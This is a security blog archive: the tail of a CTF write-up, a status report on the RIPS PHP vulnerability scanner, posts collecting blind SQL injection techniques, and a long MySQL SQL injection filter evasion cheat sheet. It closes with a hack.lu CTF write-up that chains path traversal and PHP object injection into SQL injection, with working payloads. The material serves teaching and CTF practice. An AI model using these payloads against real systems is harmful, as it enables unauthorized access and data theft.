echo file_get_contents('/var/www/config.php');
?>

The salt and the solution for this first part of the challenge was:
AA!LaBS.

I omitted the task to use the salt and a given hash to crack the password because I felt this was boring, however it would have added just another technique required to get to the goal. So far for the first task that was worth 200 points. A second task was waiting for the teams that was worth another 300 points and that required to exploit PHP itself and bypass the safe_mode:

Now that you gained access to AALabs it is time to do some further digging to get into their system. However they seem to have a pretty safe configuration running on their webserver. Can you get around it and read the Flag?

A writeup will follow for this task. Unfortunetely only one team (props to bobsleigh) managed to solve the first task. I don’t think that the first task was too hard, however there were two distractions. First of all the SQL error was mostly pointing the teams to a SQL injection filter evasion challenge rather than a simple information leakage. Secondly the path traversal had to exactly point to the webdirectory because the www-data user had only write access to /home/files/ and to /var/www/. I can imagine that some teams tried to traverse only one directory up to see if path traversal is possible but stopped trying after not successfully writing to /home/.
Anyway I hope some teams enjoyed the challenge :)


Project RIPS – Status

June 4, 2011

During the past month I spend a lot of time improving RIPS – my static analysis tool for PHP vulnerabilities. You can download the new version 0.40 here. In this post I will give a short project status report.

Whats new

There has been a couple of bugfixes and improving especially regarding file inclusions which are vital for correct analysis. Also RIPS now tries to analyse SQL queries on quotes before a decision on correct securing is made. However this feature is still not 100% working correctly in all cases.

// safe
$name = mysql_real_escape_string($_GET['name']);
mysql_query("SELECT * FROM users WHERE name = '$name'");

// vulnerable
$id = mysql_real_escape_string($_GET['id']);
mysql_query("SELECT * FROM users WHERE id = $id");

The main new visible features are graphs. Besides the list of all scanned files RIPS now gives a nice overview on how files are connected to eachother, what files accept sources (userinput) and what files have sensitive sinks or vulnerabilities. It also splits the scanned files in main files (blue) and included files (red) so that entry points can be spotted easily.

RIPS file graph

Also all function calls are visible in a connected graph. Red lines are highlighting the code flow of each vulnerability. With these features it is very easy to spot in which file a vulnerability exists and which functions have to be called to reach the sensitive sink before you actually look at the code.

RIPS function graph

Another important feature is that code snippets that belong to the same vulnerability are now grouped and titled with the vulnerability category. In earlier versions they were unconnected and one had to jump between several snippets. With this it is now possible to look at specific vulnerability categories and to hide unimportant ones. This can be done by clicking on the categories name in the statistics window that also has been improved with a pie chart (HTML5 for the win ;)).

RIPS stats

Also a new vulnerability type “Unserialize / POP” has been added that allows you to search for unserialize() sinks and interesting POP gadget functions (more info here). For more changes have a look at the changelog.

Whats missing

The main drawback of RIPS is still the missing support of Object-Oriented Programming (OOP). That means that almost all large code projects can not be scanned sufficiently and vulnerabilities will not be detected correctly. RIPS also still has problems with large non-OOP projects with complicated include structures. The new version improves the include strategie a lot, however if the filename is fetched from a database or build over several userdefined functions it is hard to reconstruct a string with static analysis. Also, a big block on my todo-list includes several bugs with the detection of proper and inproper securing that is also hard to detect with static analysis. So RIPS 0.40 remains being a good tool for small to bigger non-OOP apps but fails if you seriously want to scan WordPress or phpBB.

Whats coming

Scanning large OOP apps is still the main goal. After fixing currently known bugs (which are decreasing but finally increasing again every day ;)) it will be time for implementing basic OOP features. At the same time a complete rewrite is planned to improve development and contain new bugs. Also some basic behavior of RIPS needs to be changed to detect vulnerabilities more correctly. This includes the line-by-line reading which should be replaced by codeblocks and the handling of different data types, especially arrays. There has been some interests lately for a joint development so I am looking forward to how RIPS will evolve.

If you are aware of a bug in the new version or have a feature request please leave a comment or issue a request at sourceforge.


Blind SQLi techniques

April 6, 2011

In this quick post I want to collect some cool blind SQLi techniques I recently read about. I will keep this list updated as soon as I find new stuff. For me it is nice to have a list of these techniques online and a lot of visitors are interested in SQLi as well, so I thought I share it ;) If you don’t know what blind SQLi is all about I recommend starting with this article about basic statistical approaches for efficient data extraction.

You can extract data more efficiently and thus safe requests and time by using the following techniques:

update 24.7.11: I just found out that the neat XML parsing function extractvalue includes invalid XML into error messages and can be used as a side channel for data extraction or conditional errors:

SELECT extractvalue(1,concat(0x2e,(SELECT @@version)));
XPATH syntax error: '5.1.36-community-log'

or
SELECT updatexml(1,concat(0x2e,(SELECT @@version)),1);
XPATH syntax error: '5.1.36-community-log'

(also published here)

If you know any other clever techniques please leave a comment.


SQLi filter evasion cheat sheet (MySQL)

December 4, 2010

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users

Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.


hack.lu CTF challenge 21 writeup – PIGS

October 30, 2010

This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

which will give you:

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

You can also write this down manually (small introduction to serialize syntax):

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly ;)

Update: there is another writeup for this challenge in french available here


Follow

Get every new post delivered to your Inbox.

Join 77 other followers